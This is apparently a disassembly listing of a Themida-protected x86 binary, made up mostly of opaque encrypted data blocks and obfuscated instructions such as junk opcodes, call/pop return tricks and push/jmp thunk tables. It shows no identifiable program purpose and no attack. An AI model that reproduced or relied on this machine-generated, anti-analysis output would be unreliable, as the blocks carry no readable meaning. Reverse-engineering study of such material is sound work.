		dd 0FD72D5F1h, 47A0FFE6h, 0F20E4EDEh, 0FFE6FD8Fh, 4B3C17Ch
		dd 7EBFD16Bh, 16799525h, 3CFFE6CAh, 0C1863DE3h,	0A7F71C71h
		dd 0A1E04A01h, 514A1FECh, 0A5306EA7h, 40CBD340h, 5539F324h
		dd 0E577E0BEh, 2B19D386h, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h
		dd 0E6833DA0h, 5B0A63FFh, 0E855F16h, 833DA0BCh,	0A63FFE6h
		dd 0AF92BC5Bh, 5DC0DCE6h, 83FFE6E0h, 3B71B02Ah,	3C8C1FC5h
		dd 0DA3929E7h, 0A7D05BC4h, 29E04A01h, 0C916CF91h, 67BC1B7Ah
		dd 3D66F1ADh, 8D5C1697h, 49740663h, 0A54AF5F6h,	0D38A306Eh
		dd 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh
		dd 1E7F92BCh, 7B9927C2h, 0A7E097D5h, 1683326Ch,	8CA4547Eh
		dd 8652B5D1h, 2780FFE6h, 7D3129ADh, 0E8520D7h, 2D8552C1h
		dd 836ED1EDh, 0FF94FFE6h, 7D238C12h, 0D992BCC6h, 42B41CD3h
		dd 60CF6208h, 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 0AF5C022Bh
		dd 0BC8F3E60h, 67F2AC67h, 0A35A983Eh, 7DE085F4h, 35FFE683h
		dd 0E8103A7Ah, 83A52BD9h, 0BC9C53F9h, 82FD607Ch, 0CA23FFE6h
		dd 0FBE9A324h, 4EC2179Fh, 0E0F3AA50h, 0FFE6F724h, 3668A7D4h
		dd 8552C187h, 0AD67BC0Eh, 97B34BF1h, 0FFE68334h, 4A54BE13h
		dd 892F6FA5h, 1638E740h, 0BC85F45Fh, 82FD607Ch,	0CA23FFE6h
		dd 70862D50h, 7A208BCCh, 0AD5C42CDh, 68A75F16h,	52C18736h
		dd 0E6837DE0h, 13FF54FFh, 78C6008Bh, 3B82BB1Fh,	10C76DD6h
		dd 19D31B7Ah, 2568A72Bh, 0D4D14E8Eh, 82E5014Ah,	0B0FFE744h
		dd 0D685EE57h, 0A40992BCh, 9EA54A4Ch, 0A703BAF8h, 0C181306Eh
		dd 837DE052h, 0A735FFE6h, 1681306Eh, 7BE7297Eh,	517A0599h
		dd 8E345DE8h, 2568A7D7h, 1E6FD92Ch, 5A09728Bh, 6EA752C1h
		dd 0DF11C71Fh, 0B4DD6836h, 784F243Ah, 92BC600Fh, 0DC3BEAF8h
		dd 0F78A302Bh, 0D31B7A88h, 67BC2B19h, 4559B9A9h, 0C0DE37DCh
		dd 0FCA26D1Ah, 0A75F164Dh, 60A0306Eh, 0E682E144h, 3767ABFFh
		dd 40F79DF6h, 0F1AD67BCh, 0A7560D4Bh, 0C1873668h, 0BC0E8552h
		dd 0E6833DA0h, 5B0A63FFh, 68A752C1h, 5F168736h,	67BC0E85h
		dd 0C151F6A8h, 832952DDh, 836CCFEBh, 419AFFE6h,	107687B1h
		dd 4F8A0CB9h, 0E883734h, 4ADA7E86h, 0E777CB2Eh,	0FAA0F9FFh
		dd 547E1643h, 97980655h, 8E45EB23h, 0E85F89Fh, 6CA752C1h
		dd 0B77EA732h, 0BC52C140h, 82FD607Ch, 56BFFFE6h, 5394BD48h
		dd 69A754FAh, 5F168635h, 7DE085F4h, 35FFE683h, 0F5103A7Ah
		dd 5C523852h, 0D34900A6h, 67BC2B19h, 4069F4AAh,	85DE59Ah
		dd 0DE07920Ch, 3CC7D739h, 0E0B66D13h, 0FFE6E8F1h, 0A6DA781h
		dd 0E6838BEEh, 0EB4E6AFFh, 19FFE682h, 0BD267FC0h, 607CBC0Eh
		dd 0FFE682FDh, 9124CA23h, 0BC0E8522h, 0E6833DA0h, 42CE63FFh
		dd 83B61935h, 83DCFFE6h, 1602B11Ah, 0A785F45Fh,	1682316Dh
		dd 6392BC5Fh, 1174909Ah, 3FFFE693h, 0D0716CE6h,	0C91F829Eh
		dd 0EC45FFE6h, 0E430DD83h, 92BC0BBAh, 380181BEh, 53E68CBBh
		dd 837DE0E4h, 7A35FFE6h, 702EE53Ah, 5F16BCE5h, 0A72B19D3h
		dd 0C49B206Dh, 18E2C4DEh, 5F1600AFh, 84527CBCh,	0A650C7B3h
		dd 9FD538A4h, 0A2FBFFE6h, 0D9C54FFCh, 0E052C12Ah, 0FFE6837Dh
		dd 55BF1454h, 837ADD49h, 0CF44FFE6h, 0DA1B44CFh, 6B33DC81h
		dd 5A11B7E0h, 0A6316DA7h, 40CBD341h, 270BC5EEh,	784AB3EBh
		dd 722CE338h, 19D315CCh, 8BEE0A4Ah, 0B9FFE683h,	8B17E660h
		dd 0D25B95Ah, 6DA7B067h, 5F168231h, 0D1ED2D85h,	0FFE6836Eh
		dd 0DE953B94h, 92BC52C1h, 57681025h, 5805ABC0h,	0ABB5D1BCh
		dd 0A52551F8h, 52C18D3Ch, 0A5306EA7h, 0BC3EB57Ch, 0E68341A0h
		dd 57065FFFh, 0E9297E16h, 9D0110B5h, 6DA740F7h,	5F168231h
		dd 39D82D85h, 0A075DA65h, 38EF95FEh, 0F89F52C1h, 0CE028BD2h
		dd 0AB5037FCh, 82AB3668h, 52C144BBh, 1DF56DA7h,	8391F681h
		dd 0B949B21Bh, 0BA1D3979h, 0E8FFE683h, 83C0238Fh, 8DE6FFE6h
		dd 5F1630E7h, 863569A7h, 85F452C1h, 0A53569A7h,	0C2057F7Bh
		dd 0A1473AF3h, 297E16EAh, 5A11B7E7h, 0E1AC67BCh, 0D2A6D363h
		dd 18BD26B5h, 0EF18A3FBh, 2A749C49h, 0B892BC7Bh, 13F6FBFBh
		dd 0A211A44Ah, 0E6837DE0h, 69A735FFh, 0CD45AA35h, 0CBF446D1h
		dd 38976911h, 0F4AA67BCh, 38DEC04Fh, 0A70FFDB7h, 0B2CE0E69h
		dd 0FFE6834Fh, 4DB01C75h, 73FFE683h, 1602B11Ah,	0EA92BC5Fh
		dd 5C8C2DE0h, 858D3AE0h, 52C16A19h, 0EB9DE1E0h,	5470B037h
		dd 37EB9CF1h, 6920C61Fh, 0F00C6BA7h, 0FFE6838Dh, 42F15AB3h
		dd 0F2AC67BCh, 98FB1767h, 0BEFFE683h, 1856FC65h, 336BA761h
		dd 0E052C184h, 3D81D0B1h, 0D31B7A41h, 6BA72B19h, 1C8519F7h
		dd 6DB3628Ch, 5C2A08F6h, 5F16FFB6h, 84336BA7h, 0FD607CBCh
		dd 23FFE682h, 1BC750CAh, 6C03180Ah, 0E0C433C6h,	0FFE6837Ah
		dd 910D0459h, 8037DD06h, 0C451A6EEh, 833497B3h,	962FFE6h
		dd 0D343FAA0h, 1BF54A19h, 0BC26DD83h, 0AC086992h, 0E3890E35h
		dd 0E4B1DC36h, 0BD612758h, 0BC9D4CB5h, 2E3DEB92h, 0F3993845h
		dd 6DA7FEB5h, 52C18231h, 0FD607CBCh, 23FFE682h,	0BEB024CAh
		dd 0B658F9F8h, 0FD607CBCh, 0EAFFE682h, 9061CA1Eh, 4AA3E414h
		dd 811DF7A4h, 0A75F16D2h, 0C184336Bh, 0A867BC52h, 0C8426BF6h
		dd 0E685EF42h, 0E7943A46h, 0C1C2712Dh, 0D351C852h, 6BA72B19h
		dd 92BC8433h, 0BA048CC1h, 2A680EB6h, 316DA773h,	0A75F1682h
		dd 4EA3336Bh, 264FDAC4h
		dd 52C1C980h, 0E2608A0Ah, 0FA84255Ah, 0D37B32D8h, 5F162B19h
		dd 0F1AD67BCh, 97FA1666h, 0BDFFE683h, 0B956FB64h, 80923FE5h
		dd 4233FF0Dh, 52EDFBAAh, 102CA660h, 4CFB6411h, 60E052C1h
		dd 18AEE61Eh, 0ED257ABAh, 57FD26B1h, 2B19D3A0h,	84336BA7h
		dd 69A75F16h, 52C18635h, 0F2AC67BCh, 7B993E67h,	42D07D23h
		dd 52C1AD5Ch, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h, 0A72B19D3h
		dd 3D0F2469h, 2AB5E927h, 0B2038701h, 0ABB11430h, 86DFFFE6h
		dd 1605B41Dh, 0C10E855Fh, 0A6F81C71h, 0C34DF21Bh, 0A77E35DBh
		dd 0BC84336Bh, 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 837DE085h
		dd 1454FFE6h, 0E68395F8h, 1F3BBBFFh, 0FFE683BCh, 822891EAh
		dd 0D31B7ACBh, 0F89F2B19h, 0F2AC67BCh, 0EB983E67h, 0CAD43D25h
		dd 25B0EE25h, 0C1E493FCh, 0A6F81C71h, 5878F21Bh, 919B9BD5h
		dd 0A79249EFh, 8519F76Bh, 0A168D1FAh, 3DA0BC2Ah, 63FFE683h
		dd 52C15B0Ah, 863569A7h, 55547E16h, 30EF984Eh, 0A7E69D43h
		dd 126A316Dh, 0BCBA79E8h, 0DA7FC72Bh, 0B0D9643Ah, 0A0BC530Ah
		dd 0FFE6833Dh, 257A0A63h, 0D525B0EEh, 0E68356B9h, 0BA237CFFh
		dd 5F165D14h, 0E88FF89Fh, 0AB3668A7h, 0BDE12E93h, 83AB1387h
		dd 8110FFE6h, 0F4002A74h, 0FFE6109Bh, 0E5F4379Eh, 51AE3DFFh
		dd 0F9A6DCC2h, 0E1F9841Ah, 0C6D83C91h, 0F86C123Bh, 0FFE5F491h
		dd 0ABC70797h, 0FFE5F448h, 8F6F156Eh, 0F44C4B77h, 29FFE5h
		dd 0DF65A46h, 39002972h, 0Ah, 267BBBD2h, 12AB5E9h, 6FA7A45Bh
		dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
		dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h,	80198F8h
		dd 0F8A423E9h, 0B83A1FFh, 0B30DF4D3h
; ---------------------------------------------------------------------------
		mov	cl, dh
		dec	ebp
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_600F1B:				; CODE XREF: sub_5FA83B+24F9j
		lea	ecx, [ebp+801DB5Ah]
		mov	dh, 7Ah
		mov	[ebp+7FA1CD9h],	ecx
		mov	edi, [ebp+7FA1021h]
		mov	dword ptr [ebp+7FA31ADh], 6EE0h
		jmp	loc_600F4E
; END OF FUNCTION CHUNK	FOR sub_5FA83B
; ---------------------------------------------------------------------------
		dw 3B69h
		dd 733714A4h, 6051E9DFh, 460F580h
		db 0A5h, 0DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_600F4E:				; CODE XREF: sub_5FA83B+66FEj
		mov	dword ptr [ebp+7FA2BD9h], 0
		mov	[ebp+7FA240Dh],	ecx
		push	dword ptr [ebp+7FA3391h]
		push	0
		push	ecx
		call	sub_600F6F
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5FA83B

; =============== S U B	R O U T	I N E =======================================



sub_600F6F	proc near		; CODE XREF: sub_5FA83B+672Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_600F6F	endp

; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------
		fld	qword ptr [ebx+ebx*8+72h]
		scasd
		cmp	dword ptr [ecx-666A003Eh], 17h
		cli
		pop	es
		xor	[ebp+7FA31D1h],	esi
		push	0
		call	dword ptr [ebp+7FA1019h]
		mov	eax, eax
		jmp	short loc_600FFA
; ---------------------------------------------------------------------------
		dd 0B1ED0C7Dh, 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh
		dd 9E302A4Eh, 632BB765h, 6725089h, 0BD957ACAh, 1850CF4Eh
		dd 0F63F8CFDh, 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh
		dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch,	0BEBA6C47h
		dd 0D564D33Bh, 19A82460h
; ---------------------------------------------------------------------------
		stosd
		inc	ebx


loc_600FFA:				; CODE XREF: Themida_:00600F9Ej
		jmp	loc_601017
; ---------------------------------------------------------------------------
		db 19h
		dd offset dword_5267F4+3C1h
		dd 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_601017:				; CODE XREF: Themida_:loc_600FFAj
		jmp	loc_601E44
; ---------------------------------------------------------------------------
		push	801DDE4h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801DF03h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801DFD9h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801E06Fh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801E3E4h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801E726h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	801E84Bh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 4EC8h
; ---------------------------------------------------------------------------
		push	eax
		sbb	ch, [ebp-5Bh]
		stc
		retn
; ---------------------------------------------------------------------------
		dw 0FF16h
		dd 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h
		dd 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E85Fh,	6AA7A158h
		dd 0CC44A934h, 832C8FABh, 15AFFE6h, 88016298h, 31B0EEC7h
		dd 0B821D0CDh, 7F93E828h, 5997A1Fh, 0E309EB5Fh,	0D42D07E0h
		dd 0E2B61D49h, 3FC007E0h, 0EA467E85h, 2DE4406Eh, 75000000h
		dd 858E96F3h, 0E020B019h, 0E68361C4h, 90368FFFh, 0B4AADCF8h
		dd 5FB807E0h, 0B441A8D4h, 0CA4B07E0h, 0C0D10910h, 76F406Eh
		dd 0
		dd 90D6Dh, 6CA70600h, 2D57A732h, 95503A0Dh, 9643E9DEh
		dd 8AEB217Dh, 0B5D161FFh, 7E1031Bh, 0B7E36EC7h,	7E10250h
		dd 18A3FB1Ah, 0B43F5FB3h, 5AD6798h, 8CDE08A0h, 4176CFEEh
		dd 0E9A324CAh, 6F42AAE2h, 4D4840h, 0F3D90000h, 1E3ACA96h
		dd 7E09C50h, 3767AAFFh,	64EF4891h, 967FD414h, 0E8547D08h
		dd 7E09B85h, 4AD5C947h,	0E187E021h, 0E09B066Dh,	5E40D007h
		dd 46783D3h, 3207E09Bh,	0BEE034D9h, 0E7A1DA33h,	9F59DA3Fh
		dd 6EA76098h, 0D3FE40h,	0A78F0000h, 42A7326Ch, 0EA3FCFCFh
		dd 0B1EB7628h, 0BAEC6DA9h, 0FFA50EFFh, 920C076Ch, 0F171A207h
		dd 0C9F27D21h, 2FB62A60h, 39FFE6FEh, 0E18EC4DAh, 91E16C32h
		dd 808FD33Ch, 0AE0FB51Eh, 0D7C749DBh, 2ABA234Ch, 642DC0EAh
		dd 55890170h, 0A39D3BAFh, 0D0FA07E1h, 923308F0h, 0F740E6DBh
		dd 5BB90E9Eh, 0EA8FB843h, 0C2EB7628h, 0C7DDE1Ch, 65A8C454h
		dd 4B0FDDB7h, 40D62F2h,	77CC649Ah, 527B0698h, 0B03B63ADh
		dd 0DD34E187h, 0C3BC03C1h, 649F999Ah, 0B71C5h, 138B8B00h
		dd 0BCE230DDh, 623CD986h, 0E907F2Ch, 0B8E62BD8h, 0B2994E82h
		dd 5C093F5Fh, 3B0E6B8h,	0AE5B910Dh, 34033965h, 605DC0DCh
		dd 1D8307E8h, 346AA766h, 0DCC251FEh, 801EF74Ch,	0E826CCF5h
		dd 0A396F331h, 0E6832487h, 590819FFh, 0F498A04Bh, 61F15AB3h
		dd 0E0AA7745h, 0BA4AA307h, 63EEB065h, 9A94F713h, 69C207E0h
		dd 9BC75A00h, 7E09A34h,	0FC03BD3Eh, 406EA6C4h, 0DC62h
		dd 7CBCF300h, 0E682FD60h, 4955BFFFh, 2235AF08h,	1AA665DFh
		dd 6CA754FAh, 257A732h,	25EC910Dh, 1FC5EE79h, 74FF9F72h
		dd 0E718C148h, 0C94BA0FFh, 7B214AD5h, 0C95945CEh, 59FF9F74h
		dd 0E12E831Bh, 0A96A17BDh, 0C51A6AF5h, 0EC86404Dh, 90F33CC9h
		dd 69208127h, 0AD4B67F7h, 8A07E10Ch, 19BFDF35h,	92E777D0h
		dd 67901B83h, 672283C1h, 0F94D69F9h, 250FDDAAh,	0E64965A5h
		dd 0CFFED18h, 18E447B3h, 0B912FFEDh, 0A66BC050h, 0FC15C2F8h
		dd 18FC5F7Bh, 952AFFEDh, 4FB8217Dh, 9AE53891h, 49E82399h
		dd 0A52h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh
		dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh
		dd 0F9512056h, 0E8627ADDh, 8B42A807h, 0FE346AA7h, 0A6DCC251h
		dd 326CA7EFh, 0E34662A2h, 11FFE682h, 9E0013B8h,	0B144EA13h
		dd 47D7C74Ch, 6801EF2h,	2A6B6028h, 9AD87E3Ah, 82D7B8C1h
		dd 96A108Eh, 3450E080h,	7E13A32h, 6E62751h, 0CF047B29h
		dd 4A87E029h, 0A62E5EE6h, 2BE439B1h, 1D6CCD73h,	0C597B343h
		dd 0D1B61FEDh, 0B5D4ED78h, 0B1DB1BABh, 0F5892446h, 99050DE0h
		dd 8C168A30h, 1AB1A97Eh, 37DC31C1h, 2EB9E52Bh, 0FA08B7F4h
		dd 0CC35A9E1h, 0C5C98252h, 0F15ACF06h, 42CE23BBh, 2A8D15Ch
		dd 6CA4BE55h, 0B80BC932h, 9337A436h, 97CB958h, 96800000h
		dd 0ED25D208h, 47CE7BB1h, 9B742157h, 0F120CD03h, 8E4377ADh
		dd 0FC326CA5h, 0A3D9C54Fh, 4E841AF6h, 0F62C72A1h, 50B3CF27h
		dd 7607E862h, 6CA75910h, 0FB8EA732h, 4AB3EB29h,	2AC190BAh
		dd 0E9749504h, 58FAB43h, 5207E19Fh, 0FC8717FDh,	5E2D90ACh
		dd 0FA5307E1h, 49A2EB91h, 0F2AC64B9h, 9D010FBCh, 5E83E612h
		dd 1F8607E1h, 3507E16Eh, 3C7C0C54h, 0DEA4C612h,	0B7E06B33h
		dd 0EBCF973Dh, 0DE13D145h, 0D62F0FDAh, 712DE64Bh, 9C210EB3h
		dd 57F63199h, 8E6h, 689E0016h, 114757BBh, 0B7EDB164h, 6399050Ah
		dd 0D435BB6h, 0D63B24D9h, 2FE592C8h, 848C396Fh,	0DC37E41Ah
		dd 65BD8CC2h, 0E862E649h, 0EFA60C07h, 3ACA96F3h, 336BA5FAh
		dd 0D0CE43A8h, 0DB31C45h, 0E097DB99h, 9F720707h, 0DC0696FFh
		dd 21CB0188h, 3CCF75E9h, 0E8273BD7h, 99022BB6h,	425CB663h
		dd 74EE9EB7h, 0E29DC8E4h, 6AC307E0h, 6A244DDFh,	0DC3F5B9Bh
		dd 0D107E0E2h, 0AA06BAC3h, 28BDFEA8h, 32CB7E7h,	0CB47F49Ah
		dd 0C2299DD3h, 0D807E0A2h, 622B2B4h, 7E0A2C7h, 0CE669CF5h
		dd 0DBE898A4h, 9C4225EEh, 0D33F23EFh, 0ABD762CBh, 7E1203Ch
		dd 5236F019h, 0FBA8DEC0h, 0E1446017h, 0F07E11Eh, 9D0111B6h
		dd 0F580E912h, 0E11FB2C9h, 0BA0F4F07h, 59BE4955h, 0EA7AE3BBh
		dd 0E11F6BCEh, 9A409907h, 977B5F19h, 7D4D7707h,	98C0C0D5h
		dd 0CF306E14h, 0F713A3BDh, 7E09291h, 7FD464BDh,	547D0896h
		dd 0F1EF1BAEh, 0A97C41F6h, 2F676E28h, 0CDAC0FF6h, 1AFh
		dd 0A967BC5Eh, 16CCD3E4h, 0B11A22C6h, 81DFAA0Bh, 4137D5F1h
		dd 0BF1407E1h, 92783954h, 60F00CBBh, 730851F7h,	4C75009Eh
		dd 0A9346AA7h, 32871780h, 0DA87BDE1h, 80D56539h, 0D6690F8Fh
		dd 0ACE13186h, 66FE8ABBh, 0AB51BAACh, 27513237h, 510B448Fh
		dd 0C2F8A66Dh, 15A0FE15h, 0A0D690FCh, 0F7821CF3h, 0DAF68192h
		dd 80A30C77h, 9E011D9Dh, 0C480A30Ch, 6399026Bh,	0FD98A1CBh
		dd 8DFC39DBh, 0EA7529E8h, 0A56E1BC1h, 0F553B6D2h, 288180A2h
		dd 35DA2FBFh, 504EC469h, 63F69CC5h, 2DABA237h, 0E19BD4F3h
		dd 528816FDh, 0F4AA65BAh, 35DBC34Fh, 88138B88h,	0B3431D6Fh
		dd 49F45773h, 0C922F21Dh, 0F64B8B23h, 6ADE841Ah, 0F21D4A07h
		dd 0F19ED42Dh, 0D1CD4220h, 0C8C4DD68h, 93F20E9Eh, 0B1F21D4Ah
		dd 9E752258h, 0AC514DC4h, 45D03965h, 0E26D31E0h, 0CE61050h
		dd 0B3EB2423h, 0F2609E39h, 2D11CB4Ch, 0D582B8E6h, 0AEF0243Eh
		dd 691FA23h, 0B2B061B6h, 8AB33E60h, 721A7B21h, 0E94460F0h
		dd 0C8F21D59h, 2852109Eh, 29B4EAh, 48DFF486h, 700059A2h
		dd 3ADC046h, 0EC924D3Eh, 8C1201AEh, 2A749C01h, 6A244D9Fh
		dd 0D697719Bh, 0C88174DAh, 9E7522h, 33DD32CAh, 0FB18C56Bh
		dd 2F65EC92h, 57C0B16Ch, 87D9B3CCh, 1E6FA2F7h, 0B7FDD0BAh
		dd 17A20B95h, 94B048EEh, 0F21C8F3Dh, 306EA7FCh,	0B2E8418Ah
		dd 144EC51Ah, 0ED16A1FDh, 0DF31DE84h, 35DA2FBFh, 0FB5DE69h
		dd 3729637Ch, 8F388BA7h, 0CF0FF21Ch, 1C8F50B3h,	771D76F2h
		dd 79FD52Eh, 0B03B63B2h, 0A72AE187h, 8519F66Ch,	1AEDC0FAh
		dd 334EDF30h, 0CA2B61CAh, 0D111A1BFh, 0E74852B5h, 812780FFh
		dd 72BBCDE9h, 67E707E1h, 0E171E84Bh, 10B50E07h,	0A4349D01h
		dd 74030F64h, 0E171F558h, 59C21B07h, 52FFA5CEh,	12AAE0BEh
		dd 0B2EB6FE8h, 0AB654A4Dh, 37E48AF3h, 38A7B4D9h, 0C50F71EAh
		dd 0D1B8D15Ch, 95BFFF8Fh, 0AD4E800Bh, 0E75B01D6h, 0FDB015Dh
		dd 60A03089h, 2B97070Bh, 0FFE700C8h, 5CEF95EEh,	0E710C930h
		dd 0B6AADFFFh, 54C0A26h, 217A07E1h, 0B4D93C91h,	39B90C76h
		dd 99248DC2h, 20CDF670h, 88F33410h, 29EA4FE2h, 1A18B775h
		dd 0F02B9E66h, 57151h, 138B8B00h, 0BCE230DDh, 623CD986h
		dd 0E907F2Ch, 0B8E62BD8h, 0B2994E82h, 5C093F5Fh, 3B0E6B8h
		dd 0AE5B910Dh, 34033965h, 665DC0DCh, 1D8307E8h,	0CA96F366h
		dd 0B7A41E3Ah, 9EF307E0h, 38812777h, 71254FDFh,	5EDFB470h
		dd 0CEFA8D33h, 7E15868h, 8A85DA72h, 0DC6737D8h,	96BF4AB3h
		dd 5887EA06h, 54AD07E1h, 6C732DAEh, 406F6034h, 0E7D2h
		dd 7CBC6300h, 0E682FD60h, 50CA23FFh, 0F7A07A5Dh, 31A54B2Bh
		dd 0FFE725FAh, 251A7D99h, 0B348FFE7h, 6BD43D61h, 385494DCh
		dd 0FFE725D5h, 0FC5F7BFBh, 2AFFE724h, 15C268D1h, 96AA0FEh
		dd 2B73A084h, 0C6D83BA0h, 40A9123Bh, 253994B0h,	0E767FFE7h
		dd 0E72568CBh, 0B5E92AFFh, 27B21B74h, 174D51C2h, 0BA55D7B6h
		dd 0ABEB7BE4h
		dd 0A0BCBB56h, 0FFE7253Dh, 16A10A63h, 78D347EDh, 8EFFE725h
		dd 55AAA35h, 41EE940Ah,	3596CCD2h, 5F3FD458h, 0FE1166F6h
		dd 24FA5D79h, 0CF28FFE7h, 0C28C066h, 0FFE725C5h, 0E30F9AF3h
		dd 0FFE7657Ch, 8DA9CE46h, 0FFE7652Ah, 0B96FF58h, 0A5306EA6h
		dd 0B159134Ch, 2DFCB6DFh, 0BF6539D8h, 0A9392F5Eh, 0E765468Dh
		dd 0C9E525FFh, 0FFE76566h, 87A3338Ch, 0FFE76524h, 0A53F952h
		dd 93947BB1h, 2D000000h, 3ACA96F3h, 0E098601Eh,	9A257E07h
		dd 2FBFDF35h, 0DC6737DAh, 6ECF0DB3h, 9EBA4A20h,	7E0973Fh
		dd 4D79045Dh, 7E096E5h,	9BA25CDDh, 307A7663h, 5D01h, 9BF39200h
		dd 0B61935C5h, 0DCFFE683h, 68A8F883h, 0E682E94Ch, 18BE17FFh
		dd 0BFF5A96Bh, 0AA3A305Eh, 8D00156Ah, 6B5A3F17h, 0CB56BF2Fh
		dd 7188FCA2h, 1FFFE728h, 0A80F3BC6h, 45FFE768h,	625FDB05h
		dd 4768F3A2h, 0CE6620A1h, 0FE1AAAC0h, 0FFE762E7h, 0CC0C9CF5h
		dd 0E7624DB0h, 741A73FFh, 7CBC7F36h, 0E682FD60h, 51BEEAFFh
		dd 54E10001h, 6714BA13h, 1767F2ACh, 0DA58BBD7h,	257EFFE6h
		dd 5D41D27Fh, 61C3C627h, 3D61B1B1h, 0BDE12FD4h,	6884C454h
		dd 0FFE6DA05h, 2579962Bh, 6208719Ah, 514AECAh, 59B207E1h
		dd 0FDA174C9h, 3198C457h, 3B07E100h, 0F13100BAh, 0E10072D5h
		dd 0CD47A007h, 0EF2BE9E8h, 0CD9D43B0h, 406EB295h, 0BD203C7Ch
		dd 0E307E0A2h, 70D9C54Eh, 34E9CAh, 0F37A0000h, 1E3ACA96h
		dd 7E09C50h, 0F86AAAFFh, 0CEF7821Ch, 1D76BF65h,	9AFF6692h
		dd 710907E0h, 9BB21531h, 87E007E0h, 9FA660E1h, 406EA767h
		dd 10A05h, 6CA79600h, 0CF42A732h, 0DDF97E93h, 0FFE6837Ah
		dd 5BE64FA8h, 0F8831BF6h, 72FD66CFh, 1C71060Dh,	0F31CA7F7h
		dd 0E6832487h, 90F952FFh, 0B360B505h, 7B9845EBh, 0F279ED23h
		dd 91FFE687h, 3DC8D63Ch, 0DC6737D8h, 0F7A44AB3h, 9F4C821Ch
		dd 459A2A74h, 9528CED0h, 0C3530D7Ch, 7B475983h,	0BF1F6B8Ah
		dd 2DBFA519h, 92EB07E1h, 3C62AD02h, 0A4E288B1h,	4DB0CC0Ch
		dd 7307E103h, 0FE6737DEh, 0CE92F758h, 0E646223Eh, 0CB600FDDh
		dd 71DA544Ah, 7FA8B45Eh, 0AE0393FCh, 0FB933965h, 0FD336BA6h
		dd 1FDDC150h, 999A8586h, 2FAF4E89h, 0CD000002h,	721F5549h
		dd 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h,	811DF4DBh
		dd 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h, 7E86A9Fh
		dd 0BCA85FC5h, 82FD607Ch, 0CA23FFE6h, 0DD9A7724h, 0E6835EC1h
		dd 0C22B84FFh, 0EBCAF48Ch, 847E2E12h, 98237B96h, 0B360066Fh
		dd 59AE3E60h, 2E57E2BCh, 0F3934A88h, 1E3ACA96h,	7E09C50h
		dd 3B65F54Eh, 0AA5F4F1Ch, 58BBD767h, 7E07E161h,	0FD17BC25h
		dd 3C68FBA1h, 7E161D5h,	0D5A45EDFh, 660C9280h, 6F6D5E96h
		dd 0D5FC40h, 0A78D0000h, 821CF66Ch, 0DA65CEF7h,	77029C75h
		dd 0E687C44Bh, 19858EFFh, 2BC25F89h, 0D58C8105h, 0CF44F12Fh
		dd 5E2B44CFh, 0E64F4FC6h, 52C11656h, 4C32A64Ch,	2B07E09Bh
		dd 207E96EBh, 9D006C95h, 0C307E09Ah, 544AC56Ah,	0B1FAA0C9h
		dd 4A8A2258h, 0E09ACB2Eh, 1F7F9507h, 952A6B94h,	7099247Ah
		dd 89006107h, 0F02B47D7h, 0D60FDD79h, 91ADED7Dh, 0FFED4B2Eh
		dd 0BD55FB54h, 5CB9A968h, 258EB742h, 0CFCF42EFh, 9ABB8A11h
		dd 97367199h, 10Ah, 447A24F2h, 0ED237B97h, 93C9D540h, 3F7529E6h
		dd 0E91F7F92h, 0FA1700B5h, 53C16EA4h, 0A868154Bh, 13C0F6h
		dd 4199689Eh, 0E86BC225h, 0D38AF007h, 0FE346AA7h, 4CDCC251h
		dd 0F09CAD22h, 0D0765522h, 70A5FA92h, 0A7D1882Eh, 1E1216Ch
		dd 4CDEC24h, 0DB048F0Fh, 197E0972h, 0BF14A4FAh,	66A44A54h
		dd 69879CEh, 4BAC527Bh,	7692223Eh, 7E8A2CDh, 89EC0848h
		dd 0B707E822h, 166FB85Eh, 0B1ED268Bh, 5945CE7Bh, 0A6D89C9h
		dd 3807E822h, 7AA639DFh, 62528190h, 3C0BC5FEh, 0F95CE112h
		dd 0D2FB8618h, 1869C458h, 71FCA273h, 1EF5A248h,	769D4A80h
		dd 0CC439828h, 34992CD2h, 0A638C3DBh, 34DFC37Dh, 63C42743h
		dd 0EAB95252h, 0E2162DF6h, 2BD0296Ah, 42DB8E6h,	78CD659Bh
		dd 0B15E049Ah, 8E100062h, 0DB7FE2FEh, 4CA55251h, 0F71353E3h
		dd 5251DB94h, 30C369C2h, 1191h,	0E61F4900h, 0EED52974h
		dd 0BBCC8329h, 0B5E9267Bh, 6FA7580Fh, 0D43FA42Fh, 36DA3FCAh
		dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh
		dd 8E84E974h, 68528510h, 5F84h,	24048F54h, 4240483h, 81E68956h
